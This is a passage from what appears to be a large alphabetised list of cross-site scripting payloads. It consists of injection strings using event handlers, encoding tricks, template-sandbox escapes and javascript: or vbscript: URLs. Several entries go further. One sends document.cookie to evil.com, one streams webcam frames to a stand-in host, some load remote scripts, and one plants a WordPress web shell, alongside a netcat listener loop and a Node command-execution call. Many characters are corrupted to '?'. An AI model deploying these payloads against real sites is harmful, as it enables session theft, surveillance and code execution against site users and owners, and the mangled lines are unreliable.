‘te’ , alert(‘,’) , ‘xt’;
‘te’ ; alert(‘;’) ; ‘xt’;
‘te’ ? alert(‘?:’) : ‘xt’;
‘te’ / alert(‘/’) / ‘xt’;
‘te’ * alert(‘*’) * ‘xt’;
‘te’ & alert(‘&’) & ‘xt’;
‘te’ % alert(‘%’) % ‘xt’;
‘te’ + alert(‘+’) + ‘xt’;
‘te’ in alert(‘in’) in ‘xt’;
‘te’ instanceof alert(‘instanceof’) instanceof ‘xt’;
template is=dom-bind div
><test onclick=alert(/1-By-Muhaddi/)>Click Me</test>
><test onclick=alert(/1/)>Click Me</test>
??><test onclick=alert(/1/)>Click Me</test>
test=scriptx=document.createElement(%27script%27);x.innerHTML=%27confirm(location)%27;document.body.appendChild(x);/script&notbot=UzXGjMCo8AoAAFUcKTEAAAAN
‘text’ ( alert(‘()’) );
‘text’ [ alert(‘[]’) ];
text;alert(1)//
<textarea autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>//INJECTX
<textarea autofocus onfocus=confirm(3)>
“><textarea autofocus onfocus=co\u006efir\u006d(1)>
“><textarea autofocus onfocus=prompt(1)>
<!</textarea <body onload=’alert(1)’>
</textarea><br><code onmouseover=a=eval;b=alert;a(b(/g/.source));>MOVE MOUSE OVER THIS AREA</code>
<textarea id=ta onfocus=%22write(‘<script>alert(1)</script>’)%22 autofocus></textarea>
<textarea id=ta onfocus=%22write(‘<script>confirm(1)</script>’)%22 autofocus></textarea>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open(‘GET’%252C%2520'http%253A%252F%252Fhtml5sec.org%252F1me2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)’%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open(‘GET’%252C%2520'http%253A%252F%252Fhtml5sec.org%252F1me2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520confirm(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)’%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
<textarea id=ta></textarea><script>ta.appendChild(safe1.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie = ‘(.*?)’/)[1])</script>
<textarea id=ta></textarea><script>ta.appendChild(safe1.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = ‘(.*?)’/)[1])</script>
“/><textarea id=ta></textarea><script>ta.appendChild(safe1.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = ‘(.*?)’/)[1])</script>
<textarea id=1 onfocus=javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<textarea>jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea>
<textarea name=’file”; filename=”test.<img src=a onerror=document&amp;#46;location&amp;#61;&amp;#34;http:&amp;#47;&amp;#47;evil&amp;#46;site&amp;#34;>’>
<textarea name=p id=p>”
<textarea name=p id=p>
“<textarea onmousemove=’confirm(1);’>”
</textarea>’”><script>alert(document.cookie)</script> 
</textarea>’”><script>alert(document.cookie)</script>
</textarea>’”><script>alert(1)</script>
</textarea><ScRiPt>prompt(/man shum/)</ScRiPt//
‘//” ?</textarea></style></script></title><b onclick= alert()//>*/alert()/*
<textarea></textarea>test<!?—?</textarea><img src=xx: onerror=confirm(1)> ?
textContent, nextSibling.nodeValue, firstChild.nodeValue, lastChild.nodeValue, innerHTML
this+1;
this[[]+(‘eva’)+(/x/,new Array)+’l’](/xxx.xxx.xxx.xxx.xx/+name,new Array)
this[Object[“keys”](this)[146]](1)
this[Object[“keys”](this)[5]](1)
this[“ownerDocu”+”ment”][“loca”+”tion”]=??//google.com??
three=”{{set(‘me’,nextSibling.previousSibling)}}”
throw delete~typeof~confirm(1)/
\));throw_error()}catch(e){alert(document.domain))}//
<TimeDisplayFont>Arial</TimeDisplayFont>
<TimeDisplayFontColor>000000</TimeDisplayFontColor>
<TimeDisplayFormat>MM:SS</TimeDisplayFormat>
</title””>
<””/title>
<title>*/;alert(2);function%20text(){};function%20html(){}
</title><frameset><frame src=”data:text/html, fill the whole page and overlap everything<script>confirm(1)</script>”>
</title><frameset><frame src=”data:text/html,<script>confirm(1)</script>”>
</title id=””>
<title><img src=”</title><img src=x onerror=alert(1)//”> // by evilcos
<title>jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</title>
<title onpropertychange=alert(1)></title><title title=>
<title onpropertychange=alert(1)></title><title title=></title>
<title onPropertyChange title onPropertyChange=”javascript:javascript:alert(1)”></title onPropertyChange>
‘“></title><script>alert(1111)</script> 
‘“></title><script>alert(1111)</script>
‘“></title><script>alert(1337)</script>><marquee><h1>1 by 1</h1></marquee>
</title></script>”-alert(187)-”><svg onload=’;alert(1870);’>
</title><script>alert(1)</script>
</title></script>”-alert(46)-”><svg onload=’;alert(460);’>
</TITLE><SCRIPT>alert(“1”)
‘“></title><script>alert(“1 by \n1”)</script>><marquee><h1>1 by 1</h1></marquee>
“>></title><script>alert(“1 by \n1”)</script>><marquee><h1>1 by 1</h1></marquee>
<;/TITLE>;<;SCRIPT>;alert(“1”);<;/SCRIPT>;
</TITLE><SCRIPT>alert(“1”);</SCRIPT>
</title>”/</script></style></textarea/ ?*/<alert()/*’ onclick=alert()//>/
/</title/’/</style/</script/ ?<p” onclick=alert()//>*/alert()/*
/</title/’/</style/</script/</textarea/ ?<p” onclick=alert()//>*/alert()/*
</title></style></textarea> ?</script><a”//’ onclick=alert()//>*/alert()/*
</title></textarea></style></script ?<li ‘//” ‘*/alert()/*’, onclick=alert()//
toJSON=alert;JSON.stringify(window);
top[630038579..toString(30)](1)
top[8680439..toString(30)](1)
top[8680439..toString(30)](7);
top[8680439..toString(30)](90)
top[‘al\145rt’](1)
top[‘al\145rt’](88)
top[“al”+”ert”](1)
top[“al”+”ert”](5);
top[“al”+”ert”](85)
top[/al/.source+/ert/.source](1)
top[/al/.source+/ert/.source](8);
top[/al/.source+/ert/.source](86)
top[‘al\x65rt’](1)
top[‘al\x65rt’](89)
top[‘al\x65rt’](9);
top[atob(‘cHJvbXB0’)]()
top[‘con’.concat(‘firm’)](1)
top.require(‘child_process’).execSync(‘open -a Calculator’)
top[unescape(‘%61%6c%65%72%74’)]()
“”+{toString:alert}
{…{toString:()=>alert()}}
toString=alert; this+’1';
{{{}.toString.constructor(‘confirm(1)’)()}}
{{ (toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat;
{{ (toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat; $eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)) }}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call%3b[%22a%22,%22alert(1)%22].sort(toString.constructor)}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;[“a”,”alert(1)”].sort(toString.constructor);}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;[“a”,”alert(1)”].sort(toString.constructor)}}
{{{}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join; ‘a’.constructor.prototype.charAt=[].join; $eval(‘x=alert(1)//’); }}
{{ {}[{toString:[].join,length:1,0:’__proto__’}].assign=[].join; ‘a’.constructor.prototype.charAt=’’.valueOf; $eval(‘x=alert(1)//’); }}
toUpperCase 1 document.write(‘<? oncl?ck=&#97&#108&#101&#114&#116&#40&#49&#41>asd</?>
try{?????????????????????????????=0;?????????????????????????????()}catch(e){alert(e)}
try{‘a’ (alert(1)) in ‘a’}catch(e){ ‘a’ (alert(2)) instanceof ‘a’}
try{confirm(document.domain)}catch(e){location.reload()}
(()=>{try{return alert(1),eval(‘throw 1’);}catch(e){return alert(2)}finally{return alert(3)}})()
try{!/\s/.test(‘\u0085’)&&eval(‘\u0085alert(“IE”)’)}catch(e){alert(‘Not IE’)}
<t:set attributeName=”innerHTML” to=”1&lt;SCRIPT DEFER&gt;alert(&quot;1&quot;)&lt;/SCRIPT&gt;”>
<t:set attributeName=”innerHTML” to=”1<SCRIPT DEFER>alert(“1”)</SCRIPT>”>
two={{set(‘_nodes.0.scriptprop.src’,’data:\,’)}}
typeof delete typeof delete void void new new alert`1`
%u0022%u003e
%u0022%u003e%u003cscript%u003ealert(1);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert(%u00271%u0027);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert%u0028%u0027Hello%u0027%u0029%u003c%u002fscript%u003e
%u0022%u003e%u003cscript%u003ealert%u0028%u00271%u0027%u0029%u003b%u003c%uff0fscript%u003e
%u0022%u003e%u003cscript%u003ealert(1);%u003c/script%u003e
%u0025%u0075%u0066%u0066%u0031%u0063%u0073%u0063%u0072%u0069%u0070%u0074%u0025%u0075%u0066%u0066%u0031%u0065%u0061%u006c%u0065%u0072%u0074%u0028%u0018%u0058%u0053%u0053%u0019%u0029%u003b%u0025%u0075%u0066%u0066%u0031%u0063%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u0025%u0075%u0066%u0066%u0031%u0065
\u0027-confirm`1`-\u0027
\u003cimg src=1 onerror=alert(/1/)\u003e
u003cimg src=1 onerror=alert(/1/)u003e
\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e
%u003cscript%u003ealert(1);%u003c/script%u003e
%u003cscript%u003ealert(%u00271%u0027);%u003c/script%u003e
%u003cscript%u003ealert%u00281uff09%u003b%u003c%uff0fscript%u003e
%u003cscript%u003ealert%u0028%u00271%u0027%u0029%u003b%u003c%uff0fscript%u003e
%u003cscript%u003ealert(1);%u003c/script%u003e
\u003cscript\u003econfirm(\u00271\u0027)\u003c/script\u003e
\u003csvg/onload=alert`1`\u003e
%u003csvg onload=alert(55)>
\u003e
\u003E
\u0061lert(1)
\u0061\u006c\u0065\u0072\u0074
\u0061\u006c\u0065\u0072\u0074(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
[U+2028]confirm(1)
[U+2028]prompt(1)[U+2028] ?
 U+2200 = [0x00][0x00][0x22][0x00]
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A
%u3008svg onload=alert(56)>
> U+3C00 = [0x00][0x00][0x3C][0x00]
< U+3E00 = [0x00][0x00][0x3E][0x00]
\u{61}l\u{65}rt`1`
\u{61}|\u{65}rt`1`
u;alert(1)//
%uff02%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(%uff071%uff07);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
%uff02%uff1e%uff1cscript%uff1ealert%uff08%uff071%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff1cimg%20src=x%20onerror=prompt(1)%uff1e
%uff1cscript%uff1ealert(14)%uff1c/script%uff1e
%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e
%uff1cscript%uff1ealert(%uff071%uff07);%uff1c/script%uff1e
%uff1cscript%uff1ealert%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
%uff1cscript%uff1ealert%uff08%uff071%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
‘%uff1cscript%uff1ealert(‘1’)%uff1c/script%uff1e’”>>”
‘%uff1cscript%uff1ealert(‘1’)%uff1c/script%uff1e’
%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff1cscript%uff1econfirm%uff0876310%uff09%uff1c/script%uff1e
%uff1csvg onload=alert(57)>
\uff1c\uff53\uff43\uff52\uff49\uff50\uff54\uff1e\uff41\uff4c\uff45\uff52\uff54\uff08\uff07\uff58\uff53\uff53\uff07\uff09\uff1c\uff0f\uff53\uff43\uff52\uff49\uff50\uff54\uff1e
%uff1c%uff53%uff43%uff52%uff49%uff50%uff54%uff1e%uff41%uff4c%uff45%uff52%uff54%uff08%uff07%uff58%uff53%uff53%uff07%uff09%uff1c%uff0f%uff53%uff43%uff52%uff49%uff50%uff54%uff1e
%ufflc1%2f%uffle
<ul><li><svg onload=”confirm(1)”></li></ul>
u/><marquee onfinish=confirm(1)>a</marquee>
[unescape(‘%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74’)]
[unescape(‘%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74’)][atob(‘ZGVmYXVsdFZpZXc=’)][8680439..toString(30)](1)
(unescape([…escape(i)].filter((a,b)=>b%12<1|b%12>9?a:0).join([])))()
unescape(escape(“????????”).replace(/u../g,’’))
;(unescape=eval);
;(unescape=eval); // redeclare functions
?URI=javascript:alert(1)”,
*/(URL[%26quot;\142\151\147%26quot;][%26quot;\143\157\156\163\164\162\165\143\164\157\162%26quot;](%26quot;\141\154\145\162\164\75\141\154\145\162\164\50\61\51%26quot;)())’%3E%3C%%20style=’x:expression/*
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E”>
?url=javascript:alert(1)”,
<url>javascript:alert(document.domain)</url>
[url=javascript:alert(‘1’);]click me[/url]
‘/(\/\*.*\*\/)/Us’,
uscriptualert(E1E)u/scriptu
?userDefined=’);function someFunction(a){}alert(1)//”,
utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
UTF-7: +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-
utf-8&v=1
+/v8-+ADw-script+AD4-alert(28)+ADw-/script+AD4-
<!?—?<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG id=1 SRC=”javas<![CDATA[cript:alert(‘1’);”>
<!?—?<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=”javas<![CDATA[cript:alert(‘1’);”>
<!?—?<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=”javas<![CDATA[cript:confirm(document.location);”>
“”+{valueOf:alert}
valueOf=alert;
-{valueOf(){alert`:D`}}
valueOf=alert;this+1;
-{valueOf:location,toString:[].pop,0:javascript:alert%281%29.source,length:1}
values=”;javascript:alert(1)” begin=”0s” dur=”0.1s” fill=”freeze”/>
var a=0; ((a == 1) ? 2 : confirm(1));//
var a = ??foo??/alert(9)//??;
var a = ??foo??&&alert(9)//??;
var a = ??foo??+alert(9)//??;
var a= <%=str_a%>
 “){};var b=’al’+’ert()’;eval(b);if(shit=”
var buttons =$(“[data-role=button]”);
var data = “jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e”;document.documentElement.innerHTML = data;
var data = “jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e”;document.head.outerHTML = data;
var data = “jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e”;document.write(data);document.close();
variable[<script>]=*alert(1)</script>
var m=’alert(0)’;var o=’’;for(var i=0;i<m.length;i++) {o+=’\\’+(m[i].charCodeAt().toString(8));}[][‘\143\157\156\163\164\162\165\143\164\157\162’][‘\143\157\156\163\164\162\165\143\164\157\162’](‘\141\154\145\162\164\50\60\51’)();[][‘constructor’][‘constructor’]
var n = {a: “-alert(1)}//\”, b: “-alert(1)}//\”};
var n = {a: “\”, b: “-alert(1)}//”};
var n = {a: “$p”, b: “$p”};
var n = {a: “$p”, b: “$q”};
<var onmouseover=”prompt(1)”>KCF</var>
<var onmouseover=”prompt(1)”>On Mouse Over</var>?
<var onmouseover=”prompt(1)”>On Mouse Over</var>
<var onmouseover=”prompt(1)”>renwax23</var>
var q:String=loaderInfo.parameters[“q”].split(“\\”).join(“\\\\”);
var re = /jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;
var rewrittenBindings =ko.expressionRewriting.preProcessBindings(bindingsString, options),
var str = ‘jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e’;
var str = “jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e”;
“var x=new XMLHttpRequest();x.open(‘GET’,’//0');x.send();
var{x:x,x=alert(1)}=1;
var{x:y,}=1
vbscript & # 00058; alert (1);
vbscript&#00058;confirm(1);
vbscript&#058;alert(1);
vbscript: alert (1);
vbscript:alert(1);
vbscript:alert(1); vbscript&#058;alert(1); vbscr&Tab;ipt:alert(1)”
vbscript:confirm(1);
vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
vbscript:Msgbox+1
vbscript:prompt(1)#{“action”:1}
vbscr & Tab; ipt: alert (1) “
vbscr&Tab;ipt:alert(1)”
vbscr&Tab;ipt:confirm(1)”
v=d.createElement(‘video’);
v=d.createElement(video);
veris ?group<svg/onload=alert(/1/)//
<videogt;<source onerror=javascript:prompt(911)gt;
<video id=1 poster=javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32))//
video-js.swf?readyFunction=alert(1)
video-js.swf?readyFunction=alert%28document.domain%2b’%201ed!’%29
<video onclick=popup=1;>
<video onerror=alert(1337) </poster>
<VideO/**/OnerroR=~alert(“1”)+/SrC>
<video onerror=”javascript:alert(1)”><source>//INJECTX
<video onerror=”javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32))”><source>
<video onerror=”javascript:javascript:alert(1)”><source>
<video+onerror=’javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe1%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe1%22).click(test);’><source>%23
<video+onerror=’javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe1%22).click=function()+{confirm(Safe.get());};document.getElementById(%22safe1%22).click(test);’><source>%23
<video onloadstart=alert(102)><source>
<video onloadstart=alert(1)><source>
<VidEo/oNLoaDStaRt=confirm(1)+/src>
<video poster=javascript:alert(1)//></video>
<video/poster/onerror=alert(1)>
<video/poster/onerror=prompt(1)>
<video><source onerror=”alert(1)”>
<video><source onerror=”javascript:alert(1)”>
<video><source onerror=”javascript:alert(1)”>//INJECTX
<Video> <source onerror = “javascript: alert (1)”>
<video><source onerror=”javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32))”>
<video><source onerror=”javascript:javascript:alert(1)”>
<video><source o?UTF-8?Q?n?error=”confirm(1)”>
<video src=1 href=1 onerror=”javascript:alert(1)”></video>
<video src=”http://www.w3schools.com/html5/movie.ogg" onloadedmetadata=”alert(1)” />
<video src=”http://www.w3schools.com/html5/movie.ogg" onloadstart=”alert(1)” />
<video/src/id=”onerror”onloadstart=top[id]=confirm;throw”32">
<video src=. onerror=prompt(0)>
“<video src=. onerror=prompt(0)>”
<video src=_ onloadstart=”alert(1)”>
<video src onratechange=”alert(1)”>
<video/src=//w3schools.com/tags/movie.mp4%0Aautoplay/onplay=(confirm(1))>
<video src=x onerror=alert(48)>
<video src=x onerror=prompt(1);>
<video src=”x” onloadstart=”alert(1)”>
<video src=”x” onloadstart=”confirm(1)”>
vml.xml:<xml><rect style=”height:100%;width:100%” id=”1” onmouseover=”alert(1)” strokecolor=”white” strokeweight=”2000px” filled=”false”/></xml>
v.src=URL.createObjectURL(s);v.play()},function(){});
vulnerable”%3B%20alert(%27Mondays%27)%3B%20"
([,?,,,,?]=””+{},[??,??,??,??,,???,???,???,,,???]=[!!?]+!?+?.?)[?+=?+???+???+??+??+??+?+??+?+??][?](???+???+??+??+??+”(-~?)”)() // (V_V)
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
$ while :; do printf “j$ “; read c; echo $c | nc -lp PORT >/dev/null; done
width: expression((window.r==document.cookie)?’’:alert(r=document.cookie))
(window[(![]+[])[1] + (![]+[])[2] + (![]+[])[4] +
window[“ale” + (!![]+[])[+!+[]]+(!![]+[])[+[]]](1)
window.alert(1)
window[“alert”](1)
(window[??alert??])(9)
window[??alert??](9)
window.alert(“Bonjour !”); 
window.alert(“Bonjour !”);
window[/alert/.source](9)
window.location.assign(“http://1.cx")
window.location.replace(“http://stackoverflow.com");
window.name
window.name=’a\x01b’
window.name=’hacked’;location.replace(‘about:blank’);
window.name=”javascript:confirm((window.opener||window).document.cookie);”;
window.open(‘http://target.com/?search=<svg/onload=window[localStorage.1]=window.name//','javascript:alert(1)');
window.open(“http://1.cx","confirm(document.domain);", “”, false);
window[Symbol.hasInstance]=eval
win.location.href = “https://www.whatismyreferer.com";
win = window.open(“https://www.paypal.com");
with(document)alert(cookie)
#with(document)body.appendChild(createElement
with(document)body.appendChild(createElement(‘iframe onload=&#97&#108&#101&#114&#116(1)>’),body.innerHTML+=”(IE)
#with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9icnV0ZWxvZ2ljLmNvbS5ici8y/.source)
with(document)body.appendChild(createElement(‘script’)).src=’//DOMAIN’
with(document)getElementsByTagName(‘head’)[0].appendChild(createElement(‘script’)).src=’//?.ws’
with(document.__parent__)alert(1)
with(location)with(hash)eval(substring(1))
with(top)body.appendChild (createElement(‘script’)).src=’//0'
\”};with(window){onload=function(){ with(document){k=cookie;};with(window){location=’http://evil.com/?a=test'%2bk;};}}//;
with(x)for(i=d=c.width=200;j=i?—?/d;fillStyle=R(d+i,d/j,arc(99+(i-79)*S(T(t)),S(3*j+S(t*7)/4)*75,j>.9?5:30*S(3*j+.3),0,7),fill()))beginPath()
$=’_wpnonce=’+/ce” value=”([^”]*?)”/.exec(x.responseText)[1]+’&newcontent=<?=`$_GET[brute]`;&action=update&’+f
// wp_12rce.js 1/3
// wp_12rce.js 2/3
www.site.com/test.php?var=text;alert(1)//
www.site.com/test.php?var=textv;alert(1)//
<w=”/x=”y>”/ondblclick=`<`[confir\u006d``]>z
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
x=”<%”;
<x>%00%00%00%00%00%00%00<script>alert(1)</script>
&#x000003e;
&#x000003e
&#x000003E;
&#x000003E
&#X000003e;
&#X000003e
&#X000003E;
&#X000003E
&#x00003e;
&#x00003e
&#x00003E;
&#x00003E
&#X00003e;
&#X00003e
&#X00003E;
&#X00003E
&#x0003e;
&#x0003e
&#x0003E;
&#x0003E
&#X0003e;
&#X0003e
&#X0003E;
&#X0003E
&#x003c;img src=1 onerror=confirm(1)&#x003e;
&#x003e;
&#x003e
&#x003E;
&#x003E
&#X003e;
&#X003e
&#X003E;
&#X003E
<\x00img src=’1' onerror=alert(0) />
 ?<!?—?— \x00> <img src=xxx:x onerror=javascript:alert(1)> ?
“‘`><\x00img src=xxx:x onerror=javascript:alert(1)>
‘`”><\x00script>javascript:alert(1)</script>
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
&#x03e;
&#x03e
&#x03E;
&#x03E
&#X03e;
&#X03e
&#X03E;
&#X03E
<x%09onxxx=1 
<x%09onxxx=1
<x%09onxxx=142 
<x~%0Aonfocus=alert(26) id=a tabindex=0>
<x%0Aonxxx=1 
<x%0Aonxxx=1
<x%0Aonxxx=143
 [\x0B]onmosemove=confirm(‘\Done\’)>
<x%0Conxxx=1 
<x%0Conxxx=1
<x%0Conxxx=144
<x%0Donxxx=1 
<x%0Donxxx=1
<x%0Donxxx=145 
(X,)=>1
/x:1/:///%01javascript:alert(document.cookie)/
<x 1=’1'onxxx=1 
<x 1=’1'onxxx=1
<x 1=”1"onxxx=1
<x 1=’1'onxxx=147 
<x 1=”1"onxxx=148
<x 1=”>” onxxx=1 
<x 1=”>” onxxx=1
<x 1=”>” onxxx=150
 ?<!?—?— \x21> <img src=xxx:x onerror=javascript:alert(1)> ?
x%22%3E%3Cimg%20src=%22x%22%3E%3C!?—?%2522%2527?—?%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/1/%2529%253E
\x27-confirm`1`-\x27
<x%2F1=”>%22OnXxx%3D1
<x%2Fonxxx=1 
<x%2Fonxxx=1
<x%2Fonxxx=146
“‘`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
\x3cimg\u0020src=1\u0020onerror=alert(1)\x3e
\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e
‘`”><\x3Cscript>javascript:alert(1)</script> 
‘`”><\x3Cscript>javascript:alert(1)</script>
\x3csVg/<sVg/oNloAd=alert()//>\x3e
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
\x3e
&#x3e;
&#x3e
\x3E
&#x3E;
&#x3E
&#X3e;
&#X3e
&#X3E;
&#X3E
<!?—?\x3E<img src=xxx:x onerror=javascript:alert(1)> ?
 ?<!?—?— \x3E> <img src=xxx:x onerror=javascript:alert(1)> ?
&#x60;&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62;&#x97;&#x108;&#x101;&#x114;&#x116;&#x40;&#x39;&#x120;&#x115;&#x115;&#x39;&#x41;&#x60;&#x47;&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62;
&#x60;&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62;&#x97;&#x108;&#x101;&#x114;&#x116;&#x40;&#x39;&#x120;&#x115;&#x115;&#x39;&#x41;&#x60;&#x&#x115;&#x99;&#x114;&#x105;&#x112;&#x116;&#x62;
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
<x %6Fnerror=confirm(133) 
<x %6Fnxxx=1 
<x %6Fnxxx=1
&#x74;&#x163;&#x143;&#x162;&#x151;&#x160;&#x164;&#x76;&#x141;&#x154;&#x145;&#x162;&#x164;&#x50;&#x47;&#x170;&#x163;&#x163;&#x47;&#x51;&#x74;&&#x57;&#x163;&#x143;&#x162;&#x151;&#x160;&#x164;&#x76;
&#x74;&#x163;&#x143;&#x162;&#x151;&#x160;&#x164;&#x76;&#x141;&#x154;&#x145;&#x162;&#x164;&#x50;&#x47;&#x170;&#x163;&#x163;&#x47;&#x51;&#x74;&#x57;&#x163;&#x143;&#x162;&#x151;&#x160;&#x164;&#x76;
“>/XaDoS/><script>alert(document.cookie)</script>
“>/XaDoS/><script>alert(document.cookie)</script><script src=”http://www.site.com/1.js"></script>
x”);$=alert, $(1);//
!{x(){alert(1)}}.x()
xa?</title><img src%3dx onerror%3dconfirm(1)>
[\xC0][\xBC]script>alert(‘1’);[\xC0][\xBC]/script>
x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())’;
x=c2.drawImage(v,0,0,640,480);fetch(//HOST/+c2.canvas.toDataURL());
[][x=’constructor’][x](‘alert(1)’)()
<x contenteditable onblur=alert(108)>lose focus! 
<x contenteditable onblur=alert(1)>lose focus! 
<x contenteditable onblur=alert(1)>lose focus!
<x contenteditable onfocus=alert(115)>focus this! 
<x contenteditable onfocus=alert(1)>focus this! 
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(116)>input here! 
<x contenteditable oninput=alert(1)>input here! 
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(117)>press any key! 
<x contenteditable onkeydown=alert(1)>press any key! 
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(118)>press any key! 
<x contenteditable onkeypress=alert(1)>press any key! 
